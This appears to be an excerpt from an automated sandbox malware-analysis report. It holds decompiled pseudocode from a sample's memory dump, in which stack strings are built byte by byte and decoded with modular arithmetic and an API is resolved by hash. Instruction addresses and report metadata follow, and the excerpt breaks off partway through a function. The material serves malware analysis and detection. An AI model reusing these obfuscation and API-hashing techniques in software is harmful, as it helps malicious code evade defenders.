					} while (_t502 < 8);
				}
				_v272 =  &_v15;
				_v56 = 0;
				_v55 = 0x6c;
				_v54 = 9;
				_v53 = 0x3b;
				_v52 = 9;
				_v51 = 0xd;
				_v50 = 9;
				_v49 = 0xd;
				_v48 = 9;
				_v47 = 0x22;
				_v46 = 9;
				_v45 = 9;
				_v44 = 9;
				if(_v56 == 0) {
					_t501 = 0;
					do {
						_t43 = _t501 - 0x33; // 0x6c
						asm("cdq");
						asm("cdq");
						 *((char*)(_t503 + _t501 - 0x33)) = ((9 - ( *(_t503 + _t43) & 0x000000ff) + 0x48 << 2) % 0x7f + 0x7f) % 0x7f;
						_t501 = _t501 + 1;
					} while (_t501 < 0xc);
				}
				_t57 =  &_v55; // 0x6c
				_v268 = _t57;
				_v28 = 0;
				_v27 = 0x5c;
				_v26 = 0x3c;
				_v25 = 0x65;
				_v24 = 0x3c;
				_v23 = 0x14;
				_v22 = 0x3c;
				_v21 = 0x45;
				_v20 = 0x3c;
				_v19 = 0x3c;
				_v18 = 0x3c;
				if(_v28 == 0) {
					_t500 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t503 + _t500 - 0x17) = ((0x3c - ( *(_t503 + _t500 - 0x17) & 0x000000ff)) * 0x2c % 0x7f + 0x7f) % 0x7f;
						_t500 = _t500 + 1;
					} while (_t500 < 0xa);
				}
				_v264 =  &_v27;
				_v72 = 0;
				_v71 = 0x59;
				_v70 = 0xd;
				_v69 = 0x44;
				_v68 = 0xd;
				_v67 = 0x3b;
				_v66 = 0xd;
				_v65 = 0x2d;
				_v64 = 0xd;
				_v63 = 0x79;
				_v62 = 0xd;
				_v61 = 0xd;
				_v60 = 0xd;
				if(_v72 == 0) {
					_t469 = 0;
					do {
						_t103 = _t469 - 0x43; // 0x59
						asm("cdq");
						asm("cdq");
						 *((char*)(_t503 + _t469 - 0x43)) = ((( *(_t503 + _t103) & 0x000000ff) - 0xd) * 0x37 % 0x7f + 0x7f) % 0x7f;
						_t469 = _t469 + 1;
					} while (_t469 < 0xc);
				}
				_t115 =  &_v71; // 0x59
				_v260 = _t115;
				_v128 = 0;
				_v127 = 0x56;
				_v126 = 0x24;
				_v125 = 0x25;
				_v124 = 0x24;
				_v123 = 0xe;
				_v122 = 0x24;
				_v121 = 0x6e;
				_v120 = 0x24;
				_v119 = 0x46;
				_v118 = 0x24;
				_v117 = 0x6e;
				_v116 = 0x24;
				_v115 = 0x3b;
				_v114 = 0x24;
				_v113 = 0xe;
				_v112 = 0x24;
				_v111 = 0x72;
				_v110 = 0x24;
				_v109 = 0x2b;
				_v108 = 0x24;
				_v107 = 0x4c;
				_v106 = 0x24;
				_v105 = 0x5a;
				_v104 = 0x24;
				_v103 = 0x24;
				_v102 = 0x24;
				if(_v128 == 0) {
					_t499 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t503 + _t499 - 0x7b) = ((0x24 - ( *(_t503 + _t499 - 0x7b) & 0x000000ff)) * 0x2d % 0x7f + 0x7f) % 0x7f;
						_t499 = _t499 + 1;
					} while (_t499 < 0x1a);
				}
				_v256 =  &_v127;
				_v156 = 0;
				_v155 = 0x12;
				_v154 = 0x2d;
				_v153 = 0x2f;
				_v152 = 0x2d;
				_v151 = 0x19;
				_v150 = 0x2d;
				_v149 = 0x5a;
				_v148 = 0x2d;
				_v147 = 0xa;
				_v146 = 0x2d;
				_v145 = 0x5a;
				_v144 = 0x2d;
				_v143 = 0x73;
				_v142 = 0x2d;
				_v141 = 0x19;
				_v140 = 0x2d;
				_v139 = 0x4a;
				_v138 = 0x2d;
				_v137 = 0x3b;
				_v136 = 0x2d;
				_v135 = 0x16;
				_v134 = 0x2d;
				_v133 = 0x32;
				_v132 = 0x2d;
				_v131 = 0x2d;
				_v130 = 0x2d;
				if(_v156 == 0) {
					_t466 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t503 + _t466 - 0x97) = ((( *(_t503 + _t466 - 0x97) & 0x000000ff) - 0x2d) * 0x29 % 0x7f + 0x7f) % 0x7f;
						_t466 = _t466 + 1;
					} while (_t466 < 0x1a);
				}
				_v252 =  &_v155;
				_v232 = 0;
				_v231 = 0x49;
				_v230 = 0x52;
				_v229 = 0x4b;
				_v228 = 0x52;
				_v227 = 0x44;
				_v226 = 0x52;
				_v225 = 0x30;
				_v224 = 0x52;
				_v223 = 0x5e;
				_v222 = 0x52;
				_v221 = 0x3d;
				_v220 = 0x52;
				_v219 = 0x4d;
				_v218 = 0x52;
				_v217 = 0xd;
				_v216 = 0x52;
				_v215 = 0x15;
				_v214 = 0x52;
				_v213 = 0x51;
				_v212 = 0x52;
				_v211 = 0x1c;
				_v210 = 0x52;
				_v209 = 0x3d;
				_v208 = 0x52;
				_v207 = 0x5e;
				_v206 = 0x52;
				_v205 = 0x4d;
				_v204 = 0x52;
				_v203 = 0x13;
				_v202 = 0x52;
				_v201 = 0x29;
				_v200 = 0x52;
				_v199 = 0x4a;
				_v198 = 0x52;
				_v197 = 0x15;
				_v196 = 0x52;
				_v195 = 0x58;
				_v194 = 0x52;
				_v193 = 0x3d;
				_v192 = 0x52;
				_v191 = 0x2f;
				_v190 = 0x52;
				_v189 = 0x30;
				_v188 = 0x52;
				_v187 = 0xe;
				_v186 = 0x52;
				_v185 = 0x15;
				_v184 = 0x52;
				_v183 = 0x29;
				_v182 = 0x52;
				_v181 = 0x52;
				_v180 = 0x52;
				if(_v232 == 0) {
					_t465 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t503 + _t465 - 0xe3) = ((( *(_t503 + _t465 - 0xe3) & 0x000000ff) - 0x52) * 0x13 % 0x7f + 0x7f) % 0x7f;
						_t465 = _t465 + 1;
					} while (_t465 < 0x34);
				}
				_v248 =  &_v231;
				_v40 = 0;
				_v39 = 0x2a;
				_v38 = 0x3f;
				_v37 = 0x2d;
				_v36 = 0x3f;
				_v35 = 0x2d;
				_v34 = 0x3f;
				_v33 = 3;
				_v32 = 0x3f;
				_v31 = 0x3f;
				_v30 = 0x3f;
				if(_v40 == 0) {
					_t498 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t503 + _t498 - 0x23) = (((( *(_t503 + _t498 - 0x23) & 0x000000ff) - 0x3f << 4) - ( *(_t503 + _t498 - 0x23) & 0x000000ff) - 0x3f) % 0x7f + 0x7f) % 0x7f;
						_t498 = _t498 + 1;
					} while (_t498 < 0xa);
				}
				_v244 =  &_v39;
				_v176 = 0;
				_v175 = 0x58;
				_v174 = 0x1e;
				_v173 = 0x64;
				_v172 = 0x1e;
				_v171 = 0x3d;
				_v170 = 0x1e;
				_v169 = 0xc;
				_v168 = 0x1e;
				_v167 = 0x68;
				_v166 = 0x1e;
				_v165 = 0x43;
				_v164 = 0x1e;
				_v163 = 0x16;
				_v162 = 0x1e;
				_v161 = 0x1e;
				_v160 = 0x1e;
				_v240 = E00F366A0( &_v176);
				_v100 = 0;
				_v99 = 0x28;
				_v98 = 0x19;
				_v97 = 0;
				_v96 = 0x19;
				_v95 = 0x66;
				_v94 = 0x19;
				_v93 = 0x5a;
				_v92 = 0x19;
				_v91 = 0x3d;
				_v90 = 0x19;
				_v89 = 0x43;
				_v88 = 0x19;
				_v87 = 7;
				_v86 = 0x19;
				_v85 = 0xc;
				_v84 = 0x19;
				_v83 = 0x14;
				_v82 = 0x19;
				_v81 = 0;
				_v80 = 0x19;
				_v79 = 4;
				_v78 = 0x19;
				_v77 = 0x19;
				_v76 = 0x19;
				if(_v100 == 0) {
					_t497 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t503 + _t497 - 0x5f) = (((( *(_t503 + _t497 - 0x5f) & 0x000000ff) - 0x19 << 5) - ( *(_t503 + _t497 - 0x5f) & 0x000000ff) - 0x19) % 0x7f + 0x7f) % 0x7f;
						_t497 = _t497 + 1;
					} while (_t497 < 0x18);
				}
				_t496 = 0;
				_v236 =  &_v99;
				while(1) {
					_t391 =  *0xf4c2ec; // 0xddcc10
					_t392 =  *((intOrPtr*)(_t391 + 0x128));
					if(_t392 == 0) {
						_t392 = E00F222A0(0x7f, 0, _t392 + 7, _t495, _t496, 0x5a8ce5b8);
						_t460 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t460 + 0x128)) = _t392;
					}
					_push( *((intOrPtr*)(_t503 + _t496 * 4 - 0x10c)));
					_push(_t495);
					if( *_t392() != 0) {
						break;
					}
					_t496 = _t496 + 1;
					if(_t496 < 0xa) {
						continue;
					} else {
						return 1;
					}
					L34:
				}
				return 0;
				goto L34;
			}













































































































































































































































    0x00f34c99
    0x00f34c9d
    0x00f34ca1
    0x00f34ca5
    0x00f34ca9
    0x00f34cad
    0x00f34cb1
    0x00f34cb6
    0x00f34cbf
    0x00f34ccc
    0x00f34cce
    0x00f34cd0
    0x00f34cd2
    0x00f34ce3
    0x00f34ce9
    0x00f34cec
    0x00f34cf0
    0x00f34cf1
    0x00f34cd2
    0x00f34cf9
    0x00f34cff
    0x00f34d03
    0x00f34d07
    0x00f34d0b
    0x00f34d0f
    0x00f34d13
    0x00f34d17
    0x00f34d1b
    0x00f34d1f
    0x00f34d23
    0x00f34d27
    0x00f34d2b
    0x00f34d2f
    0x00f34d3a
    0x00f34d3c
    0x00f34d40
    0x00f34d40
    0x00f34d54
    0x00f34d5a
    0x00f34d5d
    0x00f34d61
    0x00f34d62
    0x00f34d40
    0x00f34d67
    0x00f34d6a
    0x00f34d70
    0x00f34d74
    0x00f34d78
    0x00f34d7c
    0x00f34d80
    0x00f34d84
    0x00f34d88
    0x00f34d8c
    0x00f34d90
    0x00f34d94
    0x00f34d98
    0x00f34da3
    0x00f34da5
    0x00f34da7
    0x00f34db0
    0x00f34dc1
    0x00f34dc7
    0x00f34dca
    0x00f34dce
    0x00f34dcf
    0x00f34db0
    0x00f34dd7
    0x00f34ddd
    0x00f34de1
    0x00f34de5
    0x00f34de9
    0x00f34ded
    0x00f34df1
    0x00f34df5
    0x00f34df9
    0x00f34dfd
    0x00f34e01
    0x00f34e05
    0x00f34e09
    0x00f34e0d
    0x00f34e18
    0x00f34e1a
    0x00f34e20
    0x00f34e20
    0x00f34e2d
    0x00f34e33
    0x00f34e36
    0x00f34e3a
    0x00f34e3b
    0x00f34e20
    0x00f34e40
    0x00f34e43
    0x00f34e49
    0x00f34e4d
    0x00f34e51
    0x00f34e55
    0x00f34e59
    0x00f34e5d
    0x00f34e61
    0x00f34e65
    0x00f34e69
    0x00f34e6d
    0x00f34e71
    0x00f34e75
    0x00f34e79
    0x00f34e7d
    0x00f34e81
    0x00f34e85
    0x00f34e89
    0x00f34e8d
    0x00f34e91
    0x00f34e95
    0x00f34e99
    0x00f34e9d
    0x00f34ea1
    0x00f34ea5
    0x00f34ea9
    0x00f34ead
    0x00f34eb1
    0x00f34ebc
    0x00f34ebe
    0x00f34ec0
    0x00f34ed1
    0x00f34ed7
    0x00f34eda
    0x00f34ede
    0x00f34edf
    0x00f34ec0
    0x00f34ee7
    0x00f34eed
    0x00f34ef4
    0x00f34efb
    0x00f34f02
    0x00f34f09
    0x00f34f10
    0x00f34f17
    0x00f34f1e
    0x00f34f25
    0x00f34f2c
    0x00f34f33
    0x00f34f3a
    0x00f34f41
    0x00f34f48
    0x00f34f4f
    0x00f34f56
    0x00f34f5d
    0x00f34f64
    0x00f34f6b
    0x00f34f72
    0x00f34f79
    0x00f34f80
    0x00f34f87
    0x00f34f8e
    0x00f34f95
    0x00f34f99
    0x00f34f9d
    0x00f34fae
    0x00f34fb0
    0x00f34fb2
    0x00f34fc2
    0x00f34fc8
    0x00f34fcb
    0x00f34fd2
    0x00f34fd3
    0x00f34fb2
    0x00f34fde
    0x00f34fe4
    0x00f34feb
    0x00f34ff2
    0x00f34ff9
    0x00f35000
    0x00f35007
    0x00f3500e
    0x00f35015
    0x00f3501c
    0x00f35023
    0x00f3502a
    0x00f35031
    0x00f35038
    0x00f3503f
    0x00f35046
    0x00f3504d
    0x00f35054
    0x00f3505b
    0x00f35062
    0x00f35069
    0x00f35070
    0x00f35077
    0x00f3507e
    0x00f35085
    0x00f3508c
    0x00f35093
    0x00f3509a
    0x00f350a1
    0x00f350a8
    0x00f350af
    0x00f350b6
    0x00f350bd
    0x00f350c4
    0x00f350cb
    0x00f350d2
    0x00f350d9
    0x00f350e0
    0x00f350e7
    0x00f350ee
    0x00f350f5
    0x00f350fc
    0x00f35103
    0x00f3510a
    0x00f35111
    0x00f35118
    0x00f3511f
    0x00f35126
    0x00f3512d
    0x00f35134
    0x00f3513b
    0x00f35142
    0x00f35149
    0x00f35150
    0x00f35164
    0x00f35166
    0x00f35170
    0x00f35180
    0x00f35186
    0x00f35189
    0x00f35190
    0x00f35191
    0x00f35170
    0x00f3519c
    0x00f351a2
    0x00f351a6
    0x00f351aa
    0x00f351ae
    0x00f351b2
    0x00f351b6
    0x00f351ba
    0x00f351be
    0x00f351c2
    0x00f351c6
    0x00f351ca
    0x00f351d5
    0x00f351d7
    0x00f351e0
    0x00f351f1
    0x00f351f7
    0x00f351fa
    0x00f351fe
    0x00f351ff
    0x00f351e0
    0x00f35207
    0x00f35213
    0x00f3521a
    0x00f35221
    0x00f35228
    0x00f3522f
    0x00f35236
    0x00f3523d
    0x00f35244
    0x00f3524b
    0x00f35252
    0x00f35259
    0x00f35260
    0x00f35267
    0x00f3526e
    0x00f35275
    0x00f3527c
    0x00f35283
    0x00f35295
    0x00f3529b
    0x00f3529f
    0x00f352a3
    0x00f352a7
    0x00f352ab
    0x00f352af
    0x00f352b3
    0x00f352b7
    0x00f352bb
    0x00f352bf
    0x00f352c3
    0x00f352c7
    0x00f352cb
    0x00f352cf
    0x00f352d3
    0x00f352d7
    0x00f352db
    0x00f352df
    0x00f352e3
    0x00f352e7
    0x00f352eb
    0x00f352ef
    0x00f352f3
    0x00f352f7
    0x00f352fb
    0x00f35306
    0x00f35308
    0x00f3530a
    0x00f35310
    0x00f35321
    0x00f35327
    0x00f3532a
    0x00f3532e
    0x00f3532f
    0x00f35310
    0x00f35337
    0x00f35339
    0x00f35340
    0x00f35340
    0x00f35345
    0x00f3534d
    0x00f35359
    0x00f3535e
    0x00f35364
    0x00f35364
    0x00f3536a
    0x00f35371
    0x00f35376
    0x00000000
    0x00000000
    0x00f35378
    0x00f3537c
    0x00000000
    0x00f35380
    0x00f35389
    0x00f35389
    0x00000000
    0x00f3537c
    0x00f35392
    0x00000000

    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID: $$$$$$$$$$$$$$$$$$$$$$$$$$$$%$($)$)$*$+$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$/$/$0$0$2$8$;$;$<$<$<$<$<$<$=$=$=$=$=$?$?$?$?$?$?$C$C$D$E$F$F$F$F$F$F$I$J$J$K$L$M$M$Q$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$V$X$X$YD;-y$Z$Z$Z$Z$\$^$^$d$e$f$h$l;"$n$n$r$s
    • API String ID: 0-4180511456
    • Opcode ID: 5318cfdbceb4393c9e03dc84eccaf1576913dc1443308669a58c1cdf4caa1e2a
    • Instruction ID: 3771b2ca53e66d90c3120803756fdb32e6cd30318e007727baf6d5d12bfa14fa
    • Opcode Fuzzy Hash: 5318cfdbceb4393c9e03dc84eccaf1576913dc1443308669a58c1cdf4caa1e2a
    • Instruction Fuzzy Hash: EA32E3109092D8CDEB12C6B998587DDBFE15F27308F4850DDC4D87B283C2BA4A89DB76
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2B530 Relevance: 121.9, Strings: 97, Instructions: 663COMMONCrypto
    Download Yara Rule
    C-Code - Quality: 64%
    			E00F2B530(void* __ecx) {
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				intOrPtr _v300;
				char* _v304;
				intOrPtr _v308;
				char* _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				char* _v324;
				char* _v328;
				char* _v332;
				char* _v336;
				char* _v340;
				intOrPtr _v344;
				char* _v348;
				intOrPtr _v352;
				char* _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				char* _v368;
				char* _v372;
				intOrPtr _v376;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t606;
				intOrPtr* _t607;
				void* _t608;
				intOrPtr _t732;
				void* _t735;
				void* _t740;
				void* _t753;
				void* _t754;
				void* _t755;
				void* _t797;
				signed int _t798;
				void* _t799;
				void* _t800;
				void* _t801;
				void* _t802;
				void* _t803;
				void* _t804;
				void* _t805;
				void* _t806;
				void* _t807;
				void* _t808;
				void* _t809;
				signed int _t810;
				void* _t811;

				_v16 = 0;
				_v15 = 0x41;
				_v14 = 0x7c;
				_v13 = 0x3d;
				_v12 = 0x7c;
				_v11 = 0x3e;
				_v10 = 0x7c;
				_v9 = 0x61;
				_v8 = 0x7c;
				_v7 = 0x7c;
				_v6 = 0x7c;
				_t797 = __ecx;
				if(_v16 == 0) {
					_t810 = 0;
					asm("o16 nop [eax+eax]");
					do {
						_t15 = _t810 - 0xb; // 0x41
						asm("cdq");
						asm("cdq");
						 *((char*)(_t811 + _t810 - 0xb)) = ((0x7c - ( *(_t811 + _t15) & 0x000000ff) + 0x3e0 + 0x7c - ( *(_t811 + _t15) & 0x000000ff) + 0x3e0) % 0x7f + 0x7f) % 0x7f;
						_t810 = _t810 + 1;
					} while (_t810 < 0xa);
				}
				_t29 =  &_v15; // 0x41
				_v376 = _t29;
				_v28 = 0;
				_v27 = 0x37;
				_v26 = 0x15;
				_v25 = 0x35;
				_v24 = 0x15;
				_v23 = 4;
				_v22 = 0x15;
				_v21 = 0x75;
				_v20 = 0x15;
				_v19 = 0x15;
				_v18 = 0x15;
				if(_v28 == 0) {
					_t809 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t809 - 0x17) = ((0x15 - ( *(_t811 + _t809 - 0x17) & 0x000000ff) + 0xa8 << 2) % 0x7f + 0x7f) % 0x7f;
						_t809 = _t809 + 1;
					} while (_t809 < 0xa);
				}
				_v372 =  &_v27;
				_v104 = 0;
				_v103 = 0x79;
				_v102 = 0x1e;
				_v101 = 0x1a;
				_v100 = 0x1e;
				_v99 = 0x16;
				_v98 = 0x1e;
				_v97 = 0x12;
				_v96 = 0x1e;
				_v95 = 7;
				_v94 = 0x1e;
				_v93 = 0x1e;
				_v92 = 0x1e;
				if(_v104 == 0) {
					_t808 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t808 - 0x63) = (((( *(_t811 + _t808 - 0x63) & 0x000000ff) - 0x1e << 4) + ( *(_t811 + _t808 - 0x63) & 0x000000ff) - 0x1e + (( *(_t811 + _t808 - 0x63) & 0x000000ff) - 0x1e << 4) + ( *(_t811 + _t808 - 0x63) & 0x000000ff) - 0x1e) % 0x7f + 0x7f) % 0x7f;
						_t808 = _t808 + 1;
					} while (_t808 < 0xc);
				}
				_v368 =  &_v103;
				_v40 = 0;
				_v39 = 0x54;
				_v38 = 0x43;
				_v37 = 9;
				_v36 = 0x43;
				_v35 = 0x53;
				_v34 = 0x43;
				_v33 = 0x63;
				_v32 = 0x43;
				_v31 = 0x43;
				_v30 = 0x43;
				if(_v40 == 0) {
					_t755 = 0;
					do {
						_t105 = _t755 - 0x23; // 0x54
						asm("cdq");
						asm("cdq");
						 *((char*)(_t811 + _t755 - 0x23)) = ((( *(_t811 + _t105) & 0x000000ff) - 0x43) * 0x37 % 0x7f + 0x7f) % 0x7f;
						_t755 = _t755 + 1;
					} while (_t755 < 0xa);
				}
				_t117 =  &_v39; // 0x54
				_v364 = _t117;
				_v120 = 0;
				_v119 = 0x49;
				_v118 = 0x30;
				_v117 = 0x4f;
				_v116 = 0x30;
				_v115 = 0x6e;
				_v114 = 0x30;
				_v113 = 0x43;
				_v112 = 0x30;
				_v111 = 0x6e;
				_v110 = 0x30;
				_v109 = 0x30;
				_v108 = 0x30;
				if(_v120 == 0) {
					_t754 = 0;
					do {
						_t135 = _t754 - 0x73; // 0x49
						asm("cdq");
						asm("cdq");
						 *((char*)(_t811 + _t754 - 0x73)) = ((( *(_t811 + _t135) & 0x000000ff) - 0x30 + (( *(_t811 + _t135) & 0x000000ff) - 0x30) * 2 << 2) % 0x7f + 0x7f) % 0x7f;
						_t754 = _t754 + 1;
					} while (_t754 < 0xc);
				}
				_t149 =  &_v119; // 0x49
				_v360 = _t149;
				_v136 = 0;
				_v135 = 0x2c;
				_v134 = 0xf;
				_v133 = 0x75;
				_v132 = 0xf;
				_v131 = 0x5c;
				_v130 = 0xf;
				_v129 = 0x18;
				_v128 = 0xf;
				_v127 = 0x7b;
				_v126 = 0xf;
				_v125 = 0xf;
				_v124 = 0xf;
				if(_v136 == 0) {
					_t753 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t753 - 0x83) = ((( *(_t811 + _t753 - 0x83) & 0x000000ff) - 0xf) * 0x29 % 0x7f + 0x7f) % 0x7f;
						_t753 = _t753 + 1;
					} while (_t753 < 0xc);
				}
				_v356 =  &_v135;
				_v152 = 0;
				_v151 = 0x58;
				_v150 = 0xa;
				_v149 = 0x3d;
				_v148 = 0xa;
				_v147 = 0x70;
				_v146 = 0xa;
				_v145 = 0x4e;
				_v144 = 0xa;
				_v143 = 0x24;
				_v142 = 0xa;
				_v141 = 0xa;
				_v140 = 0xa;
				if(_v152 == 0) {
					_t807 = 0;
					do {
						_t197 = _t807 - 0x93; // 0x58
						asm("cdq");
						asm("cdq");
						 *((char*)(_t811 + _t807 - 0x93)) = ((0xa - ( *(_t811 + _t197) & 0x000000ff)) * 0x2d % 0x7f + 0x7f) % 0x7f;
						_t807 = _t807 + 1;
					} while (_t807 < 0xc);
				}
				_t209 =  &_v151; // 0x58
				_v352 = _t209;
				_v216 = 0;
				_v215 = 0x5f;
				_v214 = 0x4b;
				_v213 = 0x28;
				_v212 = 0x4b;
				_v211 = 0x31;
				_v210 = 0x4b;
				_v209 = 0x6c;
				_v208 = 0x4b;
				_v207 = 0x49;
				_v206 = 0x4b;
				_v205 = 0x17;
				_v204 = 0x4b;
				_v203 = 0x4b;
				_v202 = 0x4b;
				if(_v216 == 0) {
					_t806 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t806 - 0xd3) = (((( *(_t811 + _t806 - 0xd3) & 0x000000ff) - 0x4b << 4) - ( *(_t811 + _t806 - 0xd3) & 0x000000ff) - 0x4b) % 0x7f + 0x7f) % 0x7f;
						_t806 = _t806 + 1;
					} while (_t806 < 0xe);
				}
				_v348 =  &_v215;
				_v264 = 0;
				_v263 = 0x70;
				_v262 = 0;
				_v261 = 0x53;
				_v260 = 0;
				_v259 = 0x27;
				_v258 = 0;
				_v257 = 0x79;
				_v256 = 0;
				_v255 = 0;
				_v254 = 0;
				_v344 = E00F2F1C0( &_v264);
				_v52 = 0;
				_v51 = 0x3c;
				_v50 = 0x4f;
				_v49 = 0x36;
				_v48 = 0x4f;
				_v47 = 0x77;
				_v46 = 0x4f;
				_v45 = 5;
				_v44 = 0x4f;
				_v43 = 0x4f;
				_v42 = 0x4f;
				if(_v52 == 0) {
					_t805 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t805 - 0x2f) = (((( *(_t811 + _t805 - 0x2f) & 0x000000ff) - 0x4f << 5) - ( *(_t811 + _t805 - 0x2f) & 0x000000ff) - 0x4f) % 0x7f + 0x7f) % 0x7f;
						_t805 = _t805 + 1;
					} while (_t805 < 0xa);
				}
				_v340 =  &_v51;
				_v232 = 0;
				_v231 = 0x2b;
				_v230 = 0x66;
				_v229 = 4;
				_v228 = 0x66;
				_v227 = 0x21;
				_v226 = 0x66;
				_v225 = 0x75;
				_v224 = 0x66;
				_v223 = 0x2e;
				_v222 = 0x66;
				_v221 = 0x47;
				_v220 = 0x66;
				_v219 = 0x66;
				_v218 = 0x66;
				if(_v232 == 0) {
					_t804 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t804 - 0xe3) = ((0x66 - ( *(_t811 + _t804 - 0xe3) & 0x000000ff) + 0x330 + 0x66 - ( *(_t811 + _t804 - 0xe3) & 0x000000ff) + 0x330) % 0x7f + 0x7f) % 0x7f;
						_t804 = _t804 + 1;
					} while (_t804 < 0xe);
				}
				_v336 =  &_v231;
				_v252 = 0;
				_v251 = 0x2d;
				_v250 = 0x6f;
				_v249 = 0x49;
				_v248 = 0x6f;
				_v247 = 0x25;
				_v246 = 0x6f;
				_v245 = 0x7d;
				_v244 = 0x6f;
				_v243 = 0x13;
				_v242 = 0x6f;
				_v241 = 0x12;
				_v240 = 0x6f;
				_v239 = 0x48;
				_v238 = 0x6f;
				_v237 = 0x6f;
				_v236 = 0x6f;
				if(_v252 == 0) {
					_t803 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t803 - 0xf7) = (((( *(_t811 + _t803 - 0xf7) & 0x000000ff) - 0x6f) * 8 - ( *(_t811 + _t803 - 0xf7) & 0x000000ff) - 0x6f) % 0x7f + 0x7f) % 0x7f;
						_t803 = _t803 + 1;
					} while (_t803 < 0x10);
				}
				_v332 =  &_v251;
				_v64 = 0;
				_v63 = 0x56;
				_v62 = 0x16;
				_v61 = 0x46;
				_v60 = 0x16;
				_v59 = 0x13;
				_v58 = 0x16;
				_v57 = 0x25;
				_v56 = 0x16;
				_v55 = 0x16;
				_v54 = 0x16;
				if(_v64 == 0) {
					_t802 = 0;
					do {
						asm("cdq");
						asm("cdq");
